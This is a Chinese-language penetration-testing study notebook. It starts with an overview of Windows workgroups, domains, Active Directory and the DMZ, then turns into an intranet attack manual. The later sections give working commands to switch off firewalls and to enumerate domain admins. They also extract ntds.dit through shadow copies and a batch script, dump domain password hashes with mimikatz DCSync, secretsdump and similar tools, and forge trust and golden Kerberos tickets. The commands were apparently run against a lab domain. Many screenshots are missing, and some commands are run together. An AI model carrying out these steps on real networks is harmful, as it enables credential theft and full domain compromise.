内网学习篇

[TOC]

内网安全第一章

内网基础知识

工作组:工作组( Work Group),在一个大的单位内,可能有成百上千台电脑互相连接组成局域网,它们都会列在“网络(网上邻居)”内,如果这些电脑不分组,可想而知有多么混乱,要找一台电脑很困难。为了解决这一问题,就有了“工作组”这个概念,将不同的电脑一般按功能(或部门)分别列入不同的工作组中,如技术部的电脑都列入“技术部”工作组中,行政部的电脑都列入“行政部”工作组中。你要访问某个部门的资源,就在“网络”里找到那个部门的工作组名,双击就可以看到那个部门的所有电脑了。相比不分组的情况就有序的多了,尤其是对于大型局域网络来说。

image-20220628095849118

(Domain)是一个有安全边界的计算机集合(安全边界意思是在两个域中,一个域中的用户无法访问另一个域中的资源),可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。
域控制器(Domain Controller,简写为Dc)是一个域中的一台类似管理服务器的计算机,相当于一个单位的门卫一样,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都是经过它的审核。

image-20220628100052625

域的分类:

单域
在一般的具有固定地理位置的小公司里,建立一个域就可以满足所需。·一般在一个域内要建立至少两个域服务器,一个作为Dc,一个是备份DC。如果没有第二个备份Dc,那么一旦DC瘫痪了,则域内的其他用户就不能登陆该域了,因为活动目录的数据库(包括用户的帐号信息)是存储在DC中的。而有一台备份域控制器(BDC),则至少该域还能正常使用,期间把瘫痪的Dc恢复了就行了。

父域

出于管理及其他一些需求,需要在网络中划分多个域,第一个域称为父域,各分部的域称为该域的子域。
比如一个大公司,它的不同分公司在不同的地理位置,则需父域及子域这样的结构。
如果把不同地理位置的分公司放在同一个域内,那么他们之间信息交互(包括同步,复制等)所花费的时间会比较长,而且占用的带宽也比较大。(因为在同一个域内,信息交互的条目是很多的,而且不压缩;而在域和域之间,信息交互的条目相对较少,而且压缩。)
还有一个好处,就是子公司可以通过自己的域来管理自己的资源。还有一种情况,就是出于安全策略的考虑,因为每个域都有自己独有的安全策略。比如一个公司的财务部门希望能使用特定的安全策略(包括帐号密码策略等),那么可以将财务部门做成一个子域来单独管理。

域树

域树指若干个域通过建立信任关系组成的集合。一个域管理员只能管理本域的内部,不能访问或者管理其他的域,二个域之间相互访问则需要建立信任关系(Trust Relation)。
信任关系是连接在域与域之间的桥梁。域树内的父域与子域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。

image-20220628100413944

域森林

image-20220628100503104

DNS域名服务器是进行域名(domain name)和与之相对应的IP地址(IPaddress)转换的服务器。
在域树的介绍中,可以看到域树中的域的名字和DNS域的名字非常相似,实际上域的名字就是DNS域的名字,因为域中的计算机使用DNS来定位域控制器和服务器以及其他计算机、网络服务等。
一般情况下,我们在内网渗透时就通过寻找DNS服务器来定位域控制器,因为通常DNS服务器和域控制器会处在同一台机器上。

活动目录(Active Directory)是域环境中提供目录服务的组件。目录是什么?目录就是存储有关网络对象(如用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是帮助用户快速准确的从目录中查找到他所需要的信息的服务。
如果将企业的内网看成是一本字典,那么内网里的资源就是字典的内容,活动目录就相当于字典的索引。即活动目录存储的是网络中所有资源的快捷方式,用户通过寻找快捷方式而定位资源。

逻辑结构

在活动目录中,管理员可以完全忽略被管理对象的具体地理位置,而将这些对象按照一定的方式放置在不同的容器中。由于这种组织对象的做法不考虑被管理对象的具体地理位置,这种组织框架称为“逻辑结构”。
活动目录的逻辑结构就包括上面讲到的组织单元(ou)、域(domain)、域树( tree)、域森林(forest)。在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据。

image-20220628102316204

活动目录主要功能

帐号集中管理,所有帐号均存在服务器上,方便对帐号的重命令/重置密码。
软件集中管理,统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
环境集中管理,利用AD可以统一客户端桌面,IE,TCP/IP等设置。
增强安全性,统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。更可靠,更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间 少。活动目录为Microsoft统一管理的基础平台,其它isa,exchange,sms等服务都依赖于这个基础平台。

AD和DC区别

如果网络规模较大,我们就会考虑把网络中的众多对象:计算机、用户、用户组、打印机、共享文件等,分门别类、井然有序地放在一个大仓库中,并做好检索信息,以利于查找、管理和使用这些对象(资源)。这个有层次结构的数据库,就是活动目录数据库,简称AD库。那么我们应该把这个数据库放在哪台计算机上呢?规定是这样的,我们把存放有活动目录数据库的计算机就称为Dc。所以说我们要实现域环境,其实就是要安装AD,当内网中的一台计算机安装了AD后,它就变成了DC。

安全域的划分

安全域划分的目的是将一组安全等级相同的计算机划入同一个网段内,这一网段内的计算机拥有相同的网络边界,在网络边界上采用防火墙部署来实现对其他安全域的NACL(网络访问控制策略),允许哪些IP访问此域、不允许哪些访问此域;允许此域访问哪些IP/网段、不允许访问哪些IP/网段。使得其风险最小化,当发生攻击时可以将威胁最大化的隔离,减少对域内计算机的影响。

DMZ

DMZ称为“隔离区”,也称“非军事化区”。是为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。
这个缓冲区位于企业内部网络和外部网络之间的小网络区域内,在这个小网络区域内可以放置一些必须公开的服务器设施,如企业Web服务器、FTP服务器和论坛等。
另一方面,通过这样一个DMz区域,更加有效地保护了内部网络,因为这种网络部署,比起一般的防火墙方案,对攻击者来说又多了一道关卡。

image-20220628103312842

DMZ屏障功能

(1) 内网可以访问外网
内网的角户需要自由地访问外网。在这一策略中,防火墙需要执行NAT。

(2) 内网可以访问DMZ
此策略使内网用户可以使用或者管理DMZ中的服务器。

(3) 外网不能访问内网
这是防火墙的基本策略了,内网中存放的是公司内部数据,显然这些数据是不允许外网的用户进行访问的。如果耍访问,就要通过VPN方式来进行。

(4) 外网可以访问DMZ
DMZ中的服务器需要为外界提供服务,所以外网必须可以访问DMZ。同时,外网访问DMZ需要由防火墙完成对外地址到服务器实际地址的转换。

(5) DMZ不能访问内网
如不执行此策略,则当入侵者攻陷DMZ时,内部网络将不会受保护。

(6)DMZ不能访问外网
此条策略也有例外,比如我们的例子中,在DMZ中放置邮件服务器时,就需要访问外网,否则将不能正常工作。

域中计算机分类

域控制器-成员服务器-客户机-独立服务器

域控制器是存放活动目录数据库的,是域中必须要有的,而其他三种则不是必须的,也就是说最简单的域可以只包含一台计算机,这台计算机就是该域的域控制器。
域中各个服务器的角色也是可以改变的,例如域服务器在删除活动目录时,如果是域中最后一个域控制器,则该域服务器会成为独立服务器,如果不是域中唯一的域控制器,则将使该服务器成为成员服务器。同时独立服务器既可以转换为域控制器,也可以加入到某个域成为成员服务器。

内权限解读:

域本地组,多域用户访问单域资源(访问同一个域)。可以从任何域添加用户账户、通用组和全局组,只能在其所在域内指派权限。域本地组不能嵌套于其他组中。它主要是用于授予位于本域资源的访问权限

全局组,单域用户访问多域资源(必须是同一个域里面的用户)。只能在创建该全局组的域上进行添加用户和全局组,可以在域林中的任何域中指派权限,全局组可以嵌套在其他组中。

通用组,通用组成员来自域林中任何域中的用户账户、全局组和其他的通用组,可以在该域林中的任何域中指派权限,可以嵌套于其他域组中。非常适于域林中的跨域访问。

image-20220628104718578

A-G-DL-P策略

image-20220628154433781

本地域组的权限

image-20220628155157050

全局组、通用组的权限

image-20220628155303297

内网信息搜集

工作组信息搜集

本机信息收集

查询网络配置

ipconfig /all

查询用户列表

net user
net localgroup administrators
query user ||qwinsta 查看当前在线用户

查询进程列表

tasklist /v
wmic process list brief

查询操作系统及安装软件版本信息

获取操作系统和版本信息
systeminfo
查看安装软件以及版本路径
wmic product name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"

查询端口列表

netstat -ano

查询补丁列表

systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

查询本机共享

net share
wmic share get name,path,status

查询防火墙配置

查看防火墙配置:
netsh firewall show config
关闭防火墙:
Windows server 2003系统及其以前:
netsh firewall set opmode disable
Windows server 2003以后系统版本:
netsh advfirewall set allprofiles state off
修改防火墙配置
windows server 2003系统及之前版本,允许指定程序全部连接:
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
windows server 2003之后系统版本:
允许指定程序接入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 

查询并开启远程连接服务

查询远程连接端口
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
windows server 2008和windows server 2012开启3389方法(win7只可以用前两条):
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 
 
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
windows server 2003和windows xp:
wmic path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1

以上前提条件是确保Windows Management Instrumentation(Winmgmt)服务已正常启动,权限的话需要administrator及以上

查询当前权限

whoami 
whoami /all #获取域SID
net user XXX /domain 获取指定账户的详细信息

判断是否有域

ipconfig /all
systeminfo
net config workstation
net time /domain
1.存在域,当前不是域用户
2.存在域,当前是域用户
3.不存在域

域内存活主机探测

1.利用NetBIOS快速探测内网

工具:Nbtscan

使用方法:nbtscan.exe IP

2.利用icmp探测内网

for /L %l in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%l | findstr "TTL="

3.利用arp扫描完整探测内网

1.arp-scan

2.Invoke-ARPScan.ps1

image-20220630100231019

4.利用常规tcp/udp端口扫描探测内网

工具:scanline

scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt  -p 192.168.4.1-254 /b

域内端口扫描

1.telnet探测

telnet ip 端口

2.S扫描器

S.exe TCP 192.168.1.1192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111256 /Banner /save

域内基础信息收集

net view /domain
net view /domain:XXX
net group /domain
net group "domain computers" /domain
net accounts /domain
nltest /domain_trusts

域内控制器的查找

nltest /DCLIST:XXX
Nslookup -type=SRV _ldap._tcp
net time /domain
net group "Domain Controllers" /domain
netdom query pdc

域内用户和管理员

查询所有域用户列表
net user /domain
wmic useraccount get /all
dsquery user
net localgroup administrators /domain
查询域管理员用户组
net group "domain admins" /domain
net group "Enterprise Admins" /domain

查找域管理进程

1.本机检查

  • 获取域管理员列表 A,B,C
  • 查看本机所有进程
  • 交叉
1.获取域管理员列表
net group "Domain Admins" /domain
2.列出本机所有进程及进程用户
tasklist /v
3.寻找是否有进程所有者位域管理员的进程

2.查询域控制器的域用户会话

1.收集域控制器的列表
net group "Domain Controllers" /domain
2.收集域管理员的列表
net group "Domain Admins" /domain
3.使用Netsess.exe查询每个域控制器收集所有活动域会话的列表
Netsess.exe -h
4.将域管理员列表与活动会话列表交叉引用,以确定哪些IP地址具有活动域令牌。

3.扫描远程系统上运行的任务

1.收集域管理员的列表
net group "Domain Admins" /domain
3.运行脚本
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

4.扫描远程系统上的NetBIOS信息

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

PowerShell收集域信息

PowerShell版本

  • 2.0 win2008,win7
  • 3.0 win2012,win8
  • 4.0 win2012R2,win8.1
  • 5.0 win2016,win10

PowerShell策略

Restricted #不能执行任何脚本
Allsigned #只允许执行正规签名的脚本
Unrestricted #执行任意脚本
RemoteSigned #本机执行脚本不受限制,执行远程脚本,必须经过签名

修改策略

Get-Executionpolicy  #查看当前策略
Set-Executionpolicy Unrestricted # 修改策略

使用Powerview进行信息搜集

-exec bypass
Import-Module.\PowerView.ps1

常用命令:

Import-Module为powershell导入脚本命令,这里假设我们下载的powerview.ps1脚本在C:\PowerView.ps1
命令格式:powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; powerview的命令参数}"
 
定位域管理员
powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1; Invoke-UserHunter}"
 
更多PowerView命令参数
Get-NetDomain: 获取当前用户所在域的名称
Get-NetUser: 获取所有用户的详细信息
Get-NetDomainController: 获取所有域控制器的信息
Get-NetComputer: 获取域内所有机器的详细信息
Get-NetOU: 获取域中的OU信息
Get-NetGroup: 获取所有域内组和组成员信息
Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息
Get-NetShare: 获取当前域内所有网络共享信息
Get-NetSession: 获取指定服务器的会话
Get-NetRDPSession: 获取指定服务器的远程连接
Get-NetProcess: 获取远程主机的进程
Get-UserEvent: 获取指定用户的日志
Get-ADObiect: 获取活动目录的对象
Get-NetGPO: 获取域内所有的组策略对象
Get-DomainPolicy: 获取域默认策略或域控制器策略
Invoke-UserHunter: 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户
Invoke-UserEvenHunter: 根据用户日志查询某域用户登录过哪些域机器。

隐藏通信隧道技术

网络层隧道:

  • IPv6隧道

  • ICMP隧道 (ping ip)

传输层隧道:

  • TCP (nc ip port)
  • UDP

应用层隧道:

ICMP隧道

ICMP隧道工具有:PingTunnel、icmptunnel、icmpsh、powershell、icmp等

横向渗透

exchange邮件服务器

image-20220701171227982

客户端/远程访问接口和协议

  • OWA
  • ECP
  • EWS

基于端口扫描发现:

  • 25端口 SMTP的指纹显示为Exchange smtpd
  • 80端口为 iis 8.5
  • 443端口

SPN查询

  • setspn -T pentest.com -F -Q */*
    

Exchange基本操作

查看Mailbox数据库

  • Get-MailboxDatabase -server "Exchange1"
    
  • add-pssnapin microsoft.exchange*
    

获取现有用户邮件地址

  • 查看全部用户邮箱使用信息
Get-Mailbox | Format-Tables Name,WindowsEmailAddress
  • 查看指定用户邮箱使用信息
get-mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalltemSize,LastLogonTime
  • 查看全部用户邮箱使用信息
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalltemSize-Descend

添加权限

  • 查看用户角色权限

    Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName
    
  • 添加用户角色权限

New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"
  • 删除用户角色权限
Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false

设置网络共享文件夹

net share inetpub=c:\inetpub /grant:everyone,full

清理痕迹

  • 查看之前产生的导出请求记录
Get-MailboxExportRequest
  • 删除导出请求记录
Remove-MailboxExportRequest -Identity Administrator\mailboxexport

攻击域控制器

导出ntds.dit工具使用

ntdsutil工具提取

image-20220702110915019

命令:

创建快照:

ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照:

ntdsutil snapshot "mount {GUID}" quit quit

拷贝快照:

copy C:\$SNAP_201808131112_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit

卸载并删除快照:

ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

查看快照

ntdsutil snapshot "List All" quit quit

vssadmin工具导出

image-20220702112559750

命令:

创建快照:

vssadmin create shadow /for=c:

复制文件

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit c:\ntds,dit

删除快照

vssadmin delete shadows /for=c : /quite

利用vssown.vbs提取

image-20220702113237136

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
cscript vssown.vbs /start #启动卷影复制服务
cscipt vssown.vbs/create c #创建一个c盘的卷影副本
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit c:\ntds,dit
escript vssown.vbs /list #列出当前卷影副本
escript vssown.vbs /delete #删除卷影副本

NTDSUTIL的IFM

ntdsutil "ac i ntds" "ifm" "create full c:/test"q q

image-20220702114121276

利用powershell

image-20220702114210607

DiskShadow

image-20220702151613418

DiskShadow可以用来执行命令

示例:

将命令写入文件:

image-20220702153003868

使用diskshadow执行

image-20220702153216260

使用diskshadow导出ntds.dit

将下列命令写入到command.txt文件

set context persistent nowriters

add volume c: alias someAlias

create

expose %someAlias% k:

exec "cmd.exe" /c copy k:\\windows\\ntds\\ntds.dit c:\\ntds.dit

delete shadows all

list shadows all

reset

exit

然后执行

diskshadow /s C:\\command.txt # 注意这里需要进入C:\Windows\System32目录下执行,否则会报错

image-20220702154731904

导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit 的密钥,所以没有该密钥,将无法查看ntds.dit中的信息

system.hive文件在

C:\Windows\System32\config

直接使用注册表命令将system.live文件导出到当前路径

reg save hklm\system system.hive #同理sam也可以这样导出 reg save hklm\sam sam.hive

解析ntds.dit

使用esedbexport和ntdsxtract恢复ntds.dit提取其散列值

esedbexport安装:

在kali下载libesedb

wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

下载安装依赖环境

apt-get install autoconf automake autopoint libtool pkg-config

解压

tar -xzvf libesedb-experimental-20210424.tar.gz

配置

cd libesedb-20210424./configure

编译

make

安装

sudo make install

配置

sudo ldconfig

安装完成后会在/usr/local/bin目录下看到esedbexport程序

ntds.dit文件上传到kali中,使用esedbexport进行恢复操作

esedbexport -m table ntds.dit

image-20220702170750923

提取根据ntds.dit的散列值提取其内容的方法:

使用ntdsxtract

安装命令:

git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract/
python setup.py build && python setup.py install

安装完成后,我们将上一步中导出的“ntds.dit.export”文件夹中的datatable.3、link_table.5这两个表和之前获得的“SYSTEM”文件一并放入ntdsxtract的文件夹中。然后我们就可以执行如下命令,将域内的所有用户及散列值导出到result.txt文件中

dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>

命令:

python dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt
# –pwdformat选项是选择以什么格式进行提取,有john(John format)、ocl(oclHashcat)、ophc(OphCrack)三个选项。

最终获得文件

image-20220706162054315

Ntdsxtract中还具有一个“dscomputers.py”工具可以从分离出来的表中提取域中计算机信息。这对于离线分析目标信息是非常有用的。

在使用过程中,需要对它提供datatable,输出目录以及输出文件,输出文件的格式为csv:

python dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile domain_computers_info.csv 

image-20220706162710090

image-20220706162817060

使用Impacket中的secretsdump

下载地址:https://github.com/SecureAuthCorp/impacket

secretsdump.py是Impacket工具包中的一个脚本,该脚本实现了多种不需要在远程主机上执行任何代理的情况下转储机密数据的技术。对于SAM和LSA Secrets(包括缓存的凭据),我们尽可能的尝试从注册表中读取,然后将hives保存在目标系统(%SYSTEMROOT%\Temp目录)中,并从那里读取其余的数据。

secretsdump.py有一个本地选项,可以解析Ntds.dit文件并从Ntds.dit中提取哈希散列值和域信息。在此之前,我们必须获取到Ntds.dit和SYSTEM这两个文件。

使用方法:

git clone https://github.com/SecureAuthCorp/impacket
cd impacket
sudo python3 setup.py install
cd ..
cd example
python3 secretsdump.py -system /目录/system.hive -ntds /目录/ntds.dit LOCAL

image-20220706222324453

PowerShell下的利用

DSInternals PowerShell模块提供了构建在框架之上的易于使用的cmdlet。主要功能包括离线ntds.dit文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。

下载地址:https://github.com/MichaelGrafnetter/DSInternals

支持系统:

  • Windows Server 2012 R2
  • Windows Server 2008 R2
  • Windows 10 64-bit
  • Windows 8.1 64-bit
  • Windows 7 64-bit

安装与配置方法:

PowerShell 5.0:Install-Module DSInternals或Install-Module -Name DSInternals -RequiredVersion 3.2.1
PowerShell 3.0、4.0:解压压缩包 cd C:\DSInternalsImport-Module .\DSInternals

使用DSInternals模块提取用户哈希值,我们需要先获取Ntds.dit、SYSTEM这两个文件。将Ntds.dit、SYSTEM这两个文件导出并拖到我们本地后,即可执行如下命令获取所有账户哈希:

Import-Module DSInternals       // 导入DSInternals模块// 获取所有账户信息:
$key = Get-Bootkey -SystemHivePath 'C:\目录\system.hive'    
Get-ADDBAccount -All -DBPath 'C:\目录\ntds.dit' -Bootkey $key

还可以导出支持Hashcat格式的哈希:

$key = Get-Bootkey -SystemHivePath 'C:\目录\system.hive'Get-ADDBAccount -All -DBPath 'C:\目录\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt

使用NTDSDumpex.exe可以导出散列值

使用NTDSDumpex.exe可以进行导出散列值的操作。

将ntds.dit、NTDSDumpex.exe、system.hive 放在同一目录下,输入如下命令即可导出域账号和散列值。

NTDSDumpEx.exe下载地址:https://github.com/zcgonvh/NTDSDumpEx

获取key:reg save HKLM\SYSTEM c:\windows\temp\Sys.hiv

使用NTDSDumpEx获取所有域用户的Hash

NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt

在线利用dcsync获取提取Ntds.dit中的哈希

DCSync是Mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,其能够利用卷影拷贝服务直接读取ndts.dit并导出域内所有用户的哈希值。需要管理员权限。

Mimikatz下载地址:https://github.com/gentilkiwi/mimikatz

利用Mimikatz的dcsync功能获取提取Ntds.dit中的哈希的操作如下:

在域内任意一台主机上运行mimikatz并执行如下命令:

lsadump::dcsync /domain:xxx.com /all /csvlsadump::dcsync /domain:god.org /all /csv

image-20220706225104256

或者

privilege::debug
log
lsadump::lsa /inject

在线-PowerShell提取Ntds.dit中的哈希

即Invoke-DCSync.ps1脚本。

下载地址:https://gist.github.com/monoxgas/9d238accd969550136db

该脚本通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能,并利用dcsync直接读取ntds.dit得到域用户密码散列值。

在域内任何一台主机上面执行如下命令:

Set-Executionpolicy bypass
Import-Module .\Invoke-DCSync.ps 1
Invoke-DCSync -DumpForest | ft -wrap -autosize    // 导出域内所有用户的hash
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize      // 导出域内administrator账户的hash

image-20220707102847191

image-20220707102954770

在线-使用metasploit获取域散列

  • Ntds.dit(也被称为Active Directory database)包含了当前域用户中所有的用户的账号信息和其hash值
  • 默认路径: C:\Windows\NTDS
  • 只能通过域控制器进程和协议访问

可能用到的模块:

post/windows/gather/ntds_location #该模块可查看路径ntds
post/windows/gather/smart_hashdump #在线导出域账户hash(建议2012以上使用)
auxiliary/admin/smb/psexec_ntdsgrab #利用域管账户,导出ntds必要文件到本地
post/windows/gather/ntds_grabber #利用powershell将ntds必要文件下载到本地后使用
post/windows/gather/credentials/domain_hashdump #介绍其方法

在线-使用vshadow和QuarksPwDump导出域账号和域散列值

在正常的域环境中,ntds.dit 文件里包含大量的信息,体积较大,不方便保存到本地。

如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出 ntds.dit 并获得域账号和域散列值,而不需要将 ntds.dit 保存到本地。

QuarksPwDump 可以快速、安全、全面地读取全部域账号和域散列值。

QuarksPwDump 下载地址:https://github.com/tuthimi/quarkspwdump/tree/master/Release

ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive

shadow.exe 是从 Windows SDK 中提取出来的,需要先安装 Windows SDK,下载地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/

在这个项目中,作者已经给出了shadow.exe:

https://github.com/tuthimi/quarkspwdump/tree/master/ShadowCopy

image-20220707162512699

选择对应版本下载即可

将这三个程序放到一个文件夹中,执行ShowCopy.bat

image-20220707162553598

执行后:

image-20220707162651423

使用 esentutl 修复导出的 ntds.dit 文件:

esentutl /p /o ntds.dit

image-20220707162752787

最后通过 QuarksPwDump.exe 导出域账号和散列值:

QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o result.txt

image-20220707162932295

image-20220707162952291

跨域攻击分析及防御

域间信任概述

为什么会有域信任?

在同一个域内,管理员可以实现资源的统一管理、分配。有些企业会用到多个域,创建域间信任可以方便跨域资源分配。

信任是有方向的:

image-20220707170708834

信任传递:

image-20220707170843465

域树和域林:

image-20220707171001846

域间信任实例:

image-20220707171110376

域间信任分类

image-20220707171153927

域间信任信息收集、利用思路

环境搭建

image-20220707171848435

查看域间信任

命令:

nltest /domain_trusts  
/primary 仅返回计算机账户属于的域 # 如nltest /domain_trusts /primary
/forest 仅返回主域同一森林下的域
/direct_out 返回被主域明确信任的域
/direct_in 返回明确信任主域的域
/all_trusts 返回所有已信任的域
/V 显示详细的输出,包括域的SIDs和GUIDs
netdom query trust #只能在域控上使用

image-20220711230039383

工具:

收集域详细信息:

powerview

下载链接:https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon

一般不允许执行,可使用ISESteroids模块绕过

PowerShell.exe -ExecutionPolicy Bypass -command "..\powerview.ps1;Get-NetDomainTrust"

adfind:

下载链接:http://www.joeware.net/freetools/tools/adfind/

  • -appver:显示adfind版本信息
  • -b:指定要查询的根节点basedn
  • -bit:指定位查询
  • -c: 只统计数量
  • -csv:导出为csv格式
  • -dn:只显示dn,不返回详细信息
  • -f:LDAP过滤条件,指定ldap语法
  • -h:指定主机与端口(ip:port)
  • -recmute:删除dn下面没有的
  • -s:搜索的范围, 有 one(当前层级)/sub(一层一层递归),默认是sub
  • -sdna:非域管查询sd信息
  • -t:查询超时时间,默认120秒
  • -u:指定用户
  • -up:指定用户的密码
adfind.exe -h ip -sc u:* #如 AdFind.exe -h WIN-OSOIFGPM536.sakura.com -sc u:Administrator

image-20220710000000436

adexplorer

下载链接:https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer

输入域控的账号密码就可以进行管理

image-20220710092143570

收集域网络信息:

nltest、ping、dnscmd

nltest /domain_trusts
nltest /dclist:company
ping sakura.com
dnscmd /enumzones

利用思路

image-20220710093631488

跨域攻击

image-20220710094448657

image-20220710094713427

image-20220710094732640

SIDHistory介绍和利用

image-20220710094901181

利用域信任密钥获取目标域权限

  • 存在信任账户的情况下:Dcsync获取信任账号的NTLM值

  • Get-ADUser -Filter {samAccountName -like "*$"} #如何无法找到Get-ADuser命令,则导入模块 import-module activedirectory
    

image-20220711231847885

  • .\mimikatz.exe "lsadump::dcsync /user:sakura$@HY.sakura.com" exit
    

image-20220711231746078


  • 内部信任:lsadump获取信任账号的NTLM值

  • .\mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:sakura$" "lsadump::trust /patch" exit
    

image-20220711232854715

信任票据的创建

image-20220710102754875

.\mimikatz.exe "Kerberos::golden /domain:HY.sakura.com /sid:S-1-5-21-3349743833-377928606-3985385106 /sids:S-1-5-21-1090921569-2929606133-4003408593-519 /rc4:56de60dc2e57db6b03fc5e9834965f26 /user:sakura /service:krbtgt /target:sakura.com /ticket:sakura.kirbi" #/ticket后面的含义是保存的文件名

image-20220711235022847

image-20220711235119876

我们先看,目前是无法访问父域资源的

image-20220711235628387

TGS获取和利用

.\asktgs.exe C:\Users\Administrator\Desktop\sakura.kirbi CIFS/fy.sakura.com

image-20220712000226225

.\kirbikator.exe lsa .\CIFS.fy.sakura.com.kirbi

image-20220712000341715

然后就可以成功对子域进行操作了

image-20220712000536307

image-20220712001240811

利用krbtgt散列获取目标域权限

image-20220712110239522

kebtgt散列获取

privilege::debug
lsadump::lsa /patch /user:krbtgt
sekurlsa::krbtgt
exit

或者直接合并成一句话

.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "sekurlsa::krbtgt" "exit"

构造并注入黄金票据

image-20220712111832854

.\mimikatz.exe "Kerberos::golden /user:administrator /domain:HY.sakura.com /sid:S-1-5-21-3349743833-377928606-3985385106 /sids:S-1-5-21-1090921569-2929606133-4003408593-519 /krbtgt:803b57a2a73cdc03133e631db7f506ad /ptt" exit

image-20220712111644256

林信任攻击

我这里设置两个域:

sakura.com、salmon.com

一台 ly-1 密码:yk2012.com

